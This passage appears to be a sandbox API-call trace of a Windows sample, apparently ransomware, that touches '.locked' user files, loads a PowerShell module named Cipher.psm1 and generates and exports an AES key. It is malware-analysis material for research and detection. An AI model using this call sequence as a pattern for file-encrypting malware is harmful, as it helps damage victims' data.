lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0136.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0136.545] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x69f5b44 | out: lpFileInformation=0x69f5b44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x149b4e92, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x149b4e92, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x149bd7c5, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x7eb4)) returned 1 [0136.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0136.545] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked", lpFilePart=0x0) returned 0x5e [0136.545] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0136.545] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0136.545] CloseHandle (hObject=0x764) returned 1 [0136.547] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0136.547] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0136.548] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0136.552] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0136.552] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.552] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.553] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0136.556] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0136.556] GetConsoleOutputCP () returned 0x1b5 [0136.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0136.557] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0136.557] GetConsoleOutputCP () returned 0x1b5 [0136.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0136.557] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.558] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a1e0e0*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6a1e0e0*, lpNumberOfCharsWritten=0x99ae3a4*=0x50) returned 1 [0136.558] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.558] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0136.562] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0136.562] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0136.563] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0136.566] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.566] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.566] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0136.569] GetConsoleOutputCP () returned 0x1b5 [0136.570] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.570] GetConsoleOutputCP () returned 0x1b5 [0136.570] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.570] GetConsoleOutputCP () returned 0x1b5 [0136.570] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.570] GetConsoleOutputCP () returned 0x1b5 [0136.571] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.571] GetConsoleOutputCP () returned 0x1b5 [0136.571] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.571] GetConsoleOutputCP () returned 0x1b5 [0136.571] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.571] GetConsoleOutputCP () returned 0x1b5 [0136.571] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.571] GetConsoleOutputCP () returned 0x1b5 [0136.572] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.572] GetConsoleOutputCP () returned 0x1b5 [0136.572] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.572] GetConsoleOutputCP () returned 0x1b5 [0136.572] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.572] GetConsoleOutputCP () returned 0x1b5 [0136.573] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.573] GetConsoleOutputCP () returned 0x1b5 [0136.573] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.573] GetConsoleOutputCP () returned 0x1b5 [0136.573] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.573] GetConsoleOutputCP () returned 0x1b5 [0136.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.574] GetConsoleOutputCP () returned 0x1b5 [0136.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.574] GetConsoleOutputCP () returned 0x1b5 [0136.575] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.575] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.575] GetConsoleOutputCP () returned 0x1b5 [0136.575] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.575] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.576] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a1efdc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a1efdc*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.576] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.576] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.579] GetConsoleOutputCP () returned 0x1b5 [0136.580] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.580] GetConsoleOutputCP () returned 0x1b5 [0136.580] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.580] GetConsoleOutputCP () returned 0x1b5 [0136.580] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.580] GetConsoleOutputCP () returned 0x1b5 [0136.581] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.581] GetConsoleOutputCP () returned 0x1b5 [0136.581] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.581] GetConsoleOutputCP () returned 0x1b5 [0136.581] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.581] GetConsoleOutputCP () returned 0x1b5 [0136.582] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.582] GetConsoleOutputCP () returned 0x1b5 [0136.582] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.582] GetConsoleOutputCP () returned 0x1b5 [0136.582] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.582] GetConsoleOutputCP () returned 0x1b5 [0136.583] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.583] GetConsoleOutputCP () returned 0x1b5 [0136.583] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.583] GetConsoleOutputCP () returned 0x1b5 [0136.583] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.584] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.584] GetConsoleOutputCP () returned 0x1b5 [0136.584] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.584] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.585] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a1fa34*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a1fa34*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.585] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.586] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.589] GetConsoleOutputCP () returned 0x1b5 [0136.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.591] GetConsoleOutputCP () returned 0x1b5 [0136.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.591] GetConsoleOutputCP () returned 0x1b5 [0136.592] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.592] GetConsoleOutputCP () returned 0x1b5 [0136.592] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.592] GetConsoleOutputCP () returned 0x1b5 [0136.592] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.592] GetConsoleOutputCP () returned 0x1b5 [0136.593] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.593] GetConsoleOutputCP () returned 0x1b5 [0136.593] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.593] GetConsoleOutputCP () returned 0x1b5 [0136.594] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.594] GetConsoleOutputCP () returned 0x1b5 [0136.594] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.594] GetConsoleOutputCP () returned 0x1b5 [0136.594] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.594] GetConsoleOutputCP () returned 0x1b5 [0136.595] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.595] GetConsoleOutputCP () returned 0x1b5 [0136.595] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.595] GetConsoleOutputCP () returned 0x1b5 [0136.596] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.596] GetConsoleOutputCP () returned 0x1b5 [0136.596] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.596] GetConsoleOutputCP () returned 0x1b5 [0136.596] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.596] GetConsoleOutputCP () returned 0x1b5 [0136.597] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.597] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0136.597] GetConsoleOutputCP () returned 0x1b5 [0136.598] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0136.598] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.598] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a21850*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a21850*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0136.599] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.599] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0136.603] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.603] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.603] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.603] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.603] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.603] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.603] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.604] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0136.604] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.605] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.605] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.605] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.605] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396e78) returned 1 [0136.606] CryptGenKey (in: hProv=0x4396e78, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84f78) returned 1 [0136.606] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.606] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.606] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a2b16c, pdwDataLen=0x99ae894 | out: pbData=0x6a2b16c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.606] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xb0fc\x6a2\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0136.606] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.606] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.606] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.607] SysStringLen (param_1="") returned 0x8 [0136.607] SysStringLen (param_1="x") returned 0x8 [0136.607] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.607] SysStringLen (param_1="\x628d\x20b8\x3b37\xb17b\x9cab\xc59c\x9386\x5c6") returned 0x8 [0136.607] SysStringLen (param_1="\x628d\x20b8\x3b37\xb17b\x9cab\xc59c\x9386\x5c6") returned 0x8 [0136.607] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, 